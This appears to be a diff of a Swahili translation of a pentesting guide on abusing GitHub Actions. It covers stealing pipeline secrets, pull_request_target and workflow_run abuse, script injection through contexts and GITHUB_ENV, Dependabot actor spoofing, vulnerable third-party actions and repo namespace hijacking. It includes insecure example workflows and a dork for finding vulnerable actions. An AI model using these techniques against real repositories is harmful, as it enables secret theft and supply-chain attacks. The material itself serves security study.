Translated ['src/pentesting-cloud/azure-security/az-basic-information/az

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,10 +1,10 @@
-# Kutumia Vibaya Github Actions
+# Kunyanyasa Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Zana
 
-Zana zifuatazo zinafaa kutafuta Github Action workflows na hata kubaini zile zilizo dhaifu:
+Zana zifuatazo zinafaa kutafuta Github Action workflows na hata kuzipata zile zilizo hatarishi:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -16,43 +16,43 @@ Zana zifuatazo zinafaa kutafuta Github Action workflows na hata kubaini zile zil
 
 Katika ukurasa huu utapata:
 
-- Muhtasari wa **athari zote** za mshambulizi anapofanikiwa kupata ufikiaji wa Github Action
+- Muhtasari wa **athari zote** za mshambulizi anayefanikiwa kupata ufikiaji wa Github Action
 - Njia tofauti za **kupata ufikiaji wa action**:
-- Kuwa na **idhini** ya kuunda action
-- Kutumia vibaya vichocheo vinavyohusiana na **pull request**
-- Kutumia vibaya mbinu nyingine za **ufikiaji wa nje**
-- **Pivoting** kutoka kwenye repo iliyoshambuliwa tayari
-- Hatimaye, sehemu kuhusu **post-exploitation techniques to abuse an action from inside** (kusababisha athari zilizotajwa)
+- Kuwa na **permissions** za kuunda action
+- Kunyanyasa vichocheo vinavyohusiana na **pull request**
+- Kunyanyasa **mbinu nyingine za ufikiaji wa nje**
+- **Pivoting** kutoka repo tayari iliyovamiwa
+- Mwisho, sehemu kuhusu **post-exploitation techniques** za kunyanyasa action kutoka ndani (kusababisha athari zilizotajwa)
 
 ## Muhtasari wa Athari
 
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Kwa utangulizi kuhusu [**Github Actions angalia taarifa za msingi**](../basic-github-information.md#github-actions).
 
-Kama unaweza **kutekeleza nambari yoyote katika GitHub Actions** ndani ya **repo**, unaweza:
+Ikiwa unaweza **execute arbitrary code in GitHub Actions** ndani ya **repository**, unaweza kuwa na uwezo wa:
 
-- **Kuiba secrets** zilizowekwa kwenye pipeline na **kutumia vibaya ruksa za pipeline** ili kupata ufikiaji usioidhinishwa kwa platforms za nje, kama AWS na GCP.
-- **Kuharibu deployments** na artifacts nyingine.
-- Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, ikiruhusu supply chain attack.
-- **Kutekeleza code kwenye custom workers** ili kutumia nguvu za kompyuta na ku-pivot kwenda mifumo mingine.
-- **Kuandika upya msimbo wa repository**, kulingana na idhini zinazohusiana na `GITHUB_TOKEN`.
+- **Steal secrets** zilizowekwa kwenye pipeline na **kunyanyasa privileges za pipeline** ili kupata ufikiaji usioidhinishwa kwenye platforms za nje, kama AWS na GCP.
+- **Compromise deployments** na **artifacts** nyingine.
+- Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, kuziwezesha supply chain attack.
+- **Execute code in custom workers** ili kunyanyasa nguvu za computing na pivot kwenda mifumo mingine.
+- **Overwrite repository code**, kulingana na permissions zinazohusishwa na `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Hii "**siri**" (inayotoka kwa `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) hutolewa wakati admin anawasha chaguo hili:
+Hii "**secret**" (inayotokana na `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) inatolewa wakati admin anawasha chaguo hili:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Token hii ni ile ile ambayo **Github Application itatumia**, hivyo inaweza kufikia endpoints sawa: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github inapaswa kutoa [**flow**](https://github.com/github/roadmap/issues/74) ambayo **inaruhusu cross-repository** access ndani ya GitHub, hivyo repo inaweza kufikia repos nyingine za ndani kwa kutumia `GITHUB_TOKEN`.
 
-Unaweza kuona **idhini** zinazowezekana za tokeni hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Unaweza kuona **permissions** zinazowezekana za token hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Kumbuka kuwa tokeni **itaisha baada ya job kumalizika**.\
-Tokeni hizi zinaonekana kama hii: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Kumbuka kwamba token **inakoma kutumika baada ya job kumalizika**.\
+Tokens hizi zinaonekana kama hizi: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Baadhi ya mambo ya kuvutia unayoweza kufanya na tokeni hii:
+Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Kumbuka kwamba katika nyakati kadhaa utaweza kupata **github user tokens inside Github Actions envs or in the secrets**. Tokens hizi zinaweza kukupa ruhusa zaidi juu ya repository na organization.
+> Kumbuka kwamba katika matukio kadhaa utaweza kupata **github user tokens inside Github Actions envs or in the secrets**. Tokens hizi zinaweza kukupa ruhusa zaidi juu ya repository na organization.
 
 <details>
 
-<summary>Orodhesha secrets katika output ya Github Action</summary>
+<summary>Orodhesha secrets katika Github Action output</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Pata reverse shell na secrets</summary>
+<summary>Pata reverse shell kwa kutumia secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika repositories za watumiaji wengine kwa kuangalia logs za actions:
+Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika repositories za watumiaji wengine kwa **checking the logs** za actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Utekelezaji Ulioruhusiwa
 
 > [!NOTE]
-> Hii ingekuwa njia rahisi zaidi ya kucompromise Github actions, kwani kesi hii inadhani una ufikiaji wa **create a new repo in the organization**, au una **write privileges over a repository**.
+> Hii itakuwa njia rahisi zaidi ya kucompromise Github actions, kwani kesi hii inadhani kuwa una ufikiaji wa **create a new repo in the organization**, au una **write privileges over a repository**.
 >
 > Ikiwa uko katika senario hii unaweza tu kuangalia [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Utekelezaji kutoka kwa Uundaji wa Repo
+### Utekelezaji kutoka kwa Kuundwa kwa Repo
 
-Ikiwa wanachama wa organization wanaweza **create new repos** na unaweza kutekeleza github actions, unaweza **create a new repo and steal the secrets set at organization level**.
+Ikiwa wanachama wa organization wanaweza **create new repos** na unaweza kuexecute github actions, unaweza **create a new repo and steal the secrets set at organization level**.
 
-### Utekelezaji kutoka kwa Branch Mpya
+### Utekelezaji kutoka kwa Tawi Jipya
 
-Ikiwa unaweza **create a new branch in a repository that already contains a Github Action** iliyosanidiwa, unaweza **modify** hiyo action, **upload** content, kisha **execute that action from the new branch**. Kwa njia hii unaweza **exfiltrate repository and organization level secrets** (lakini unahitaji kujua jinsi zinavyoitwa).
+Ikiwa unaweza **create a new branch in a repository that already contains a Github Action** configured, unaweza **modify** yake, **upload** content, na kisha **execute that action from the new branch**. Kwa njia hii unaweza **exfiltrate repository and organization level secrets** (lakini utahitaji kujua jinsi zinavyoitwa).
 
 > [!WARNING]
-> Kizuizi chochote kilichotekelezwa ndani tu ya workflow YAML (kwa mfano, `on: push: branches: [main]`, job conditionals, au manual gates) kinaweza kuhaririwa na collaborators. Bila utekelezaji wa nje (branch protections, protected environments, and protected tags), contributor anaweza kuretarget workflow ili iendeshe kwenye branch yao na kutumia vibaya mounted secrets/permissions.
+> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
 
-Unaweza kufanya action iliyobadilishwa iwe executable **manually,** wakati **PR is created** au wakati **some code is pushed** (kulingana na ni jinsi gani unataka kuonekana):
+Unaweza kufanya action iliyorekebishwa iwe executable **manually,** wakati **PR is created** au wakati **some code is pushed** (kutegemea jinsi unavyotaka kuwa noisy):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
 ```
 ---
 
-## Utekelezaji uliotokana na fork
+## Utekelezaji wa Fork
 
 > [!NOTE]
-> Kuna triggers tofauti ambazo zinaweza kumruhusu mshambuliaji kuendesha a Github Action ya repository nyingine. Ikiwa actions hizo zinazoweza kuamsha zimewekwa vibaya, mshambuliaji anaweza kuziharibu.
+> Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji **kutekeleza Github Action ya repository nyingine**. Ikiwa actions hizo zinazoweza kuchochewa zimewekwa vibaya, mshambuliaji anaweza kuweza kuzivuruga.
 
 ### `pull_request`
 
-Trigger ya workflow **`pull_request`** itaendesha workflow kila mara pull request inapopokelewa kwa baadhi ya utofauti: kwa chaguo-msingi ikiwa ni **mara ya kwanza** unashirikiana, **maintainer** fulani atalazimika **kuidhinisha** **run** ya workflow:
+Vichocheo vya workflow **`pull_request`** vitaendesha workflow kila mara pull request inapopokelewa, kwa marekebisho machache: kwa chaguo-msingi ikiwa ni **mara ya kwanza** unapo **shirikiana**, baadhi ya **maintainer** watahitaji **kuthibitisha** **utekelezaji** wa workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Kwa vile **kikomo cha chaguo-msingi** ni kwa wachangiaji wa **mara ya kwanza**, unaweza kuchangia kwa **kurekebisha bug/typo halali** kisha kutuma **PR nyingine ili kutumika vibaya mamlaka yako mpya ya `pull_request`**.
+> Kwa kuwa kizuizi cha chaguo-msingi ni kwa **wachangiaji wa mara ya kwanza**, unaweza kuchangia kwa **kurekebisha bug/typo halali** kisha utume **PR nyingine ili kutumia vibaya ruhusa zako mpya za `pull_request`**.
 >
-> **Nimejaribu hili na halifanyi kazi**: ~~Chaguo jingine lingekuwa kuunda akaunti kwa jina la mtu aliyetoa mchango kwa project na kufuta akaunti yake.~~
+> **Nilijaribu hii na haifanyi kazi**: ~~Chaguo jingine ingekuwa kuunda akaunti yenye jina la mtu aliyechangia mradi na kufuta akaunti yake.~~
 
-Zaidi ya hayo, kwa chaguo-msingi **huzuia write permissions** na **access ya secrets** kwa repository lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Zaidi ya hayo, kwa chaguo-msingi **inazuia ruhusa za kuandika** na **upatikanaji wa secrets** kwa repository lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Isipokuwa `GITHUB_TOKEN`, **secrets hazipitishiwi kwa runner** wakati workflow inapochochewa kutoka kwa **forked** repository. `GITHUB_TOKEN` ina **read-only permissions** katika pull requests kutoka kwa forked repositories.
+> Bila kuzingatia `GITHUB_TOKEN`, **secrets hazipitishiwi kwa runner** wakati workflow inapotolewa kutoka kwa repository **iliyofork**. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kuendesha vitu vya hiari na kuongeza actions za hiari. Hata hivyo, hatoweza kuiba secrets wala kuandika juu ya repo kwa sababu ya vikwazo vilivyotajwa.
+Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza vitu kwa hiari na kuongeza actions zozote. Hata hivyo, hatoweza kuiba secrets au kuandika juu ya repo kwa sababu ya vikwazo vilivyotajwa.
 
 > [!CAUTION]
 > **Ndiyo, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake ndiyo itakayotumika na si ile ya repo ya asili!**
 
-Kwa kuwa mshambuliaji pia anasimamia code inayotekelezwa, hata kama hakuna secrets au write permissions kwenye `GITHUB_TOKEN`, mshambuliaji anaweza kwa mfano upload artifacts zenye madhara.
+Kwa kuwa mshambuliaji pia anasimamia code inayotekelezwa, hata kama hakuna secrets au ruhusa za kuandika kwenye `GITHUB_TOKEN`, mshambuliaji anaweza kwa mfano **kupakia artifacts zenye madhara**.
 
 ### **`pull_request_target`**
 
-Trigger ya workflow **`pull_request_target`** ina **write permission** kwa repository lengwa na **access kwa secrets** (na haiombi ruhusa).
+Vichocheo vya workflow **`pull_request_target`** vina **ruhusa za kuandika** kwa repository lengwa na **upatikanaji wa secrets** (na havitauliza ruhusa).
 
-Kumbuka kwamba trigger ya workflow **`pull_request_target`** **inaendesha katika base context** na si ile iliyopewa na PR (ili **kutoendesha code isiyothibitishwa**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Zaidi ya hayo, kwa maelezo kuhusu matumizi hatari ya hili angalia hii [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Kumbuka kwamba vichocheo vya workflow **`pull_request_target`** **vinaendesha katika base context** na sio ile inayotolewa na PR (ili **kutoendesha code isiyo ya kuaminika**). Kwa habari zaidi kuhusu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Zaidi ya hayo, kwa habari kuhusu matumizi haya hatari angalia [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Inaweza kuonekana kwa sababu workflow inayotekelezwa ni ile iliyoelezwa katika **base** na si ile iliyo kwenye PR ni **salama** kutumia **`pull_request_target`**, lakini kuna **matukio kadhaa ambapo si salama**.
+Inaweza kuonekana kwamba kwa kuwa **workflow inayotekelezwa** ni ile iliyoelezwa katika **base** na **sio katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **hali chache ambapo si salama**.
 
-Na hii itakuwa na **access kwa secrets**.
+Na hii itakuwa na **upatikanaji wa secrets**.
 
 ### `workflow_run`
 
-Trigger ya [**`workflow_run`**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) inaruhusu kuendesha workflow kutoka kwa nyingine pale inapokamilika, inapohitajika au wakati iko in_progress.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger inaruhusu kuendesha workflow kutoka kwa nyingine wakati iko `completed`, `requested` au `in_progress`.
 
-Katika mfano huu, workflow imewekwa ili iendeshe baada ya workflow tofauti "Run Tests" kukamilika:
+Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti ya "Run Tests" kukamilika:
 ```yaml
 on:
 workflow_run:
@@ -230,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
+Zaidi ya hayo, kwa mujibu wa nyaraka: Workflow inayozinduliwa na tukio la `workflow_run` inaweza **access secrets and write tokens, even if the previous workflow was not**.
 
-Aina hii ya workflow inaweza kushambuliwa ikiwa inategemea workflow ambayo inaweza kuanzishwa na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano michache iliyoharibika inaweza kupatikana kwenye [**this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Mfano wa kwanza unahusisha workflow iliyozinduliwa na **`workflow_run`** kushusha attackers code: `${{ github.event.pull_request.head.sha }}`\
-Mfano wa pili unahusisha **kupitisha** artifact kutoka kwa untrusted code kwenda kwa workflow ya **`workflow_run`** na kutumia maudhui ya artifact hii kwa njia inayoifanya iwe **vulnerable to RCE**.
+Aina hii ya workflow inaweza kushambuliwa ikiwa inategemea workflow ambayo inaweza kuzinduliwa na mtumiaji wa nje kupitia `pull_request` au `pull_request_target`. Mifano michache yenye udhaifu inaweza kupatikana kwenye [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Kwanza inahusisha workflow iliyozinduliwa na `workflow_run` kupakua code ya mshambuliaji: `${{ github.event.pull_request.head.sha }}`\
+Pili inahusisha **passing** artifact kutoka kwa code isiyoaminika (untrusted) kwenda kwa workflow ya `workflow_run` na kutumia yaliyomo ya artifact hiyo kwa njia inayofanya iwe **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR
 
-## Kutumiwa Mbaya kwa Utekelezaji wa Forked
+## Abusing Forked Execution
 
-Tumezitaja njia zote ambazo external attacker anaweza kutumia kusababisha github workflow iendeshe; sasa tuangalie jinsi utekelezaji huu, ukiwe umebadilishwa vibaya (misconfigured), unaweza kutumiwa vibaya:
+Tumezitaja njia zote ambazo mshambuliaji wa nje anaweza kufanikisha kutiwa github workflow itekelezwe; sasa tuangalie jinsi utekelezaji huu, ukisawirishwa vibaya, unaweza kutumiwa vibaya:
 
 ### Untrusted checkout execution
 
-Katika kesi ya **`pull_request`**, workflow itatekelezwa katika context ya PR (kwa hivyo itatekeleza malicious PRs code), lakini mtu lazima aidhinishe kwanza na itaendesha kwa baadhi ya [limitations](#pull_request).
+Katika kesi ya `pull_request`, workflow itatekelezwa katika context ya PR (kwa hivyo itatekeleza malicious PRs code), lakini mtu anatakiwa kuiruhusu kwanza na itaendeshwa kwa baadhi ya [limitations](#pull_request).
 
-Katika kesi ya workflow inayotumia **`pull_request_target` or `workflow_run`** ambayo inategemea workflow inayoweza kuzinduliwa kutoka **`pull_request_target` or `pull_request`**, code kutoka repo ya asili itatekelezwa, kwa hivyo **attacker cannot control the executed code**.
+Katika kesi ya workflow inayotumia `pull_request_target` au `workflow_run` ambayo inategemea workflow inayoweza kuzinduliwa kutoka `pull_request_target` au `pull_request`, code kutoka repo ya awali itatekelezwa, hivyo **mshambuliaji hawezi kudhibiti code itakayotekelezwa**.
 
 > [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Hata hivyo, ikiwa action ina explicit PR checkout ambayo itapata code kutoka PR (na si kutoka base), itatumia code inayodhibitiwa na mshambuliaji. Kwa mfano (angalia line 12 ambapo code ya PR inapakuliwa):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 </code></pre>
 
-Potentially the **untrusted code is being run during `npm install` or `npm build`** since the build scripts and referenced **packages are controlled by the author of the PR**.
+Code inayoweza kuwa **untrusted** inatekelezwa wakati wa `npm install` au `npm build` kwani build scripts na referenced **packages** zinadhibitiwa na mwandishi wa PR.
 
 > [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Github dork ya kutafuta actions zilizo vunjika ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia mbalimbali za kusanidi jobs zitekelezwe kwa usalama hata kama action imewekwa bila usalama (kwa mfano kwa kutumia conditionals kuhusu ni nani actor anayeunda PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Kumbuka kwamba zipo baadhi ya [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambazo values zake zinadhibitediwa na **user** anayesababisha PR. Ikiwa github action inatumia data hiyo **kufanya execute kitu chochote**, inaweza kusababisha **arbitrary code execution:**
+Kumbuka kwamba kuna baadhi ya [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambazo thamani zao zinadhibitiwa na **mtumiaji** anayefungua PR. Ikiwa github action inatumia data hiyo **to execute anything**, inaweza kusababisha **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Kulingana na docs: Unaweza kufanya environment variable ipatikane kwa any subsequent steps katika workflow job kwa kuiunda au ku-update environment variable na kuandika hii kwenye **`GITHUB_ENV`** environment file.
+Kulingana na nyaraka: Unaweza kufanya environment variable ipatikane kwa hatua zozote zinazofuata katika job ya workflow kwa kutaja au kusasisha environment variable na kuandika hii kwa faili ya mazingira `GITHUB_ENV`.
 
-Ikiwa attacker anaweza **kuingiza value yoyote** ndani ya env variable hii, anaweza kuingiza env variables ambazo zinaweza kuendesha code katika hatua zifuatazo kama **LD_PRELOAD** au **NODE_OPTIONS**.
+Iki mshambuliaji anaweza **inject any value** ndani ya env variable hii, anaweza kuingiza env variables ambazo zinaweza kutekeleza code katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**.
 
-Kwa mfano ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria workflow inayomwamini uploaded artifact kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** env variable. Attacker anaweza upload kitu kama hiki kumkomboa:
+Kwa mfano ( [**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) na [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) ), fikiria workflow inayomwamini uploaded artifact kuhifadhi yaliyomo yake ndani ya `GITHUB_ENV` env variable. Mshambuliaji anaweza kupakia kitu kama hiki kuikosea:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot and other trusted bots
 
-Kama ilivyoelezwa katika [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), mashirika kadhaa yana Github Action inayochanganya PR yoyote kutoka `dependabot[bot]` kama katika:
+Kama ilivyoonyeshwa katika [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), mashirika kadhaa yana Github Action inayochanganya PR yoyote kutoka `dependabot[bot]` kama katika:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Hii ni tatizo kwa sababu uwanja `github.actor` unaonyesha mtumiaji aliyehusika na tukio la mwisho lililochochea workflow. Na kuna njia kadhaa za kufanya mtumiaji `dependabot[bot]` aibadilishe PR. Kwa mfano:
+Hilo ni shida kwa sababu shamba `github.actor` linaonyesha mtumiaji aliyesababisha tukio la mwisho lililochochea workflow. Na kuna njia kadhaa za kufanya mtumiaji `dependabot[bot]` abadilishe PR. Kwa mfano:
 
-- Fanya fork ya repository la mwathiriwa
-- Ongeza payload ya kuharibu kwenye nakala yako
-- Washa Dependabot kwenye fork yako kwa kuongeza dependency isiyo ya sasa. Dependabot ataunda branch kurekebisha dependency hiyo akiwa na malicious code.
-- Fungua Pull Request kwa repository la mwathiriwa kutoka branch hiyo (PR itaundwa na mtumiaji kwa hivyo bado hakuna kitakachotokea)
-- Kisha, mshambulizi anarudi kwenye PR ya awali ambayo Dependabot alifungua kwenye fork yake na anafanya `@dependabot recreate`
-- Kisha, Dependabot hufanya baadhi ya vitendo kwenye branch hiyo, vinavyobadilisha PR kwenye repo la mwathiriwa, jambo ambalo linafanya `dependabot[bot]` kuwa actor wa tukio la mwisho lililochochea workflow (na kwa hivyo, workflow inaendeshwa).
+- Fork repository ya mwathirika
+- Ongeza payload hasidi kwenye nakala yako
+- Wezesha Dependabot kwenye fork yako kwa kuongeza dependency ya zamani. Dependabot itaunda branch itakayorekebisha dependency hiyo kwa code hasidi.
+- Fungua Pull Request kwenye repository ya mwathirika kutoka kwa branch hiyo (PR itaundwa na mtumiaji kwa hivyo bado hakuna kitakachotokea)
+- Kisha, mshambuliaji anarudi kwenye PR ya awali ambayo Dependabot aliifungua kwenye fork yake na anaendesha `@dependabot recreate`
+- Kisha, Dependabot hufanya baadhi ya hatua kwenye branch hiyo, ambazo hubadilisha PR kwenye repo ya mwathirika, na kufanya `dependabot[bot]` kuwa actor wa tukio la mwisho lililochochea workflow (na kwa hivyo, workflow inaendeshwa).
 
-Endelea, je, badala ya merging Github Action ingekuwa na command injection kama ifuatavyo:
+Endelea, je, badala ya ku-merge, Github Action ingekuwa na command injection kama ifuatavyo:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Kwa kweli, mchapisho wa blogu la asili linapendekeza chaguzi mbili za kutumia tabia hii; chaguo la pili ni:
+Well, the original blogpost proposes two options to abuse this behavior being the second one:
 
-- Fork the victim repository and enable Dependabot with some outdated dependency.
-- Create a new branch with the malicious shell injection code.
-- Change the default branch of the repo to that one
-- Create a PR from this branch to the victim repository.
-- Run `@dependabot merge` in the PR Dependabot opened in his fork.
-- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
+- Fork repository ya mwathiriwa na enable Dependabot na some outdated dependency.
+- Tengeneza branch mpya yenye shell injection code ya hasidi.
+- Change the default branch ya repo kuwa hiyo.
+- Tengeneza PR kutoka branch hii kwenda repository ya mwathiriwa.
+- Run `@dependabot merge` katika PR ambayo Dependabot aliifungua katika fork yake.
+- Dependabot ata-merge mabadiliko yake katika default branch ya fork yako, ikisasisha PR katika repository ya mwathiriwa na kufanya sasa `dependabot[bot]` kuwa actor wa tukio la mwisho lililosababisha workflow huku ukitumia malicious branch name.
 
-### Github Actions za Wahusika wa Tatu Zilizo Vunikika
+### Vulnerable Third Party Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Kama ilivyotajwa katika [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), Github Action hii inaruhusu kufikia artifacts kutoka workflows tofauti na hata repositories.
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
 
-Tatizo ni kwamba ikiwa parameter ya **`path`** haijawekwa, artifact inafukuliwa kwenye directory ya sasa na inaweza kuandika juu ya faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact iko vunikika, mshambuliaji anaweza kuvitumia hivi kuathiri workflows nyingine zinazomwamini Artifact.
+Tatizo ni kwamba ikiwa parameter ya **`path`** haijawekwa, artifact itaondolewa katika current directory na inaweza kuibadilisha juu faili ambazo zinaweza baadaye kutumika au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact ni dhaifu, mshambulizi anaweza kutumia hili kuathiri workflows nyingine zinazomwamini Artifact.
 
 Example of vulnerable workflow:
 ```yaml
@@ -393,27 +393,27 @@ path: ./script.py
 ```
 ---
 
-## Other External Access
+## Ufikiaji wa Nje Mengine
 
-### Deleted Namespace Repo Hijacking
+### Repo Hijacking ya Namespace Iliyofutwa
 
-Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha kwa jina hilo baada ya muda. Ikiwa repository ilikuwa na **chini ya 100 stars kabla ya mabadiliko ya jina**, Github itamruhusu mtumiaji mpya aliyejisajili kwa jina lile kuunda **repository yenye jina sawa** na ile iliyofutwa.
+Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kusajili akaunti yenye jina hilo baada ya muda. Ikiwa repository ilikuwa na **chini ya nyota 100 kabla ya mabadiliko ya jina**, Github itamruhusu mtumiaji mpya aliyesajiliwa kwa jina hilo kuunda **repository yenye jina sawa** na ile iliyofutwa.
 
 > [!CAUTION]
-> Kwa hivyo ikiwa action inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba attacker anaweza kuunda akaunti hiyo na compromise action.
+> Kwa hivyo ikiwa action inatumia repo kutoka kwa akaunti isiyopo, bado inawezekana kwamba attacker anaweza kuunda akaunti hiyo na kuathiri action.
 
-Ikiwa repositories nyingine zilikuwa zikitumia **dependencies kutoka kwenye user repos hii**, attacker ataweza ku-hijack hizo. Hapa kuna maelezo ya kina zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
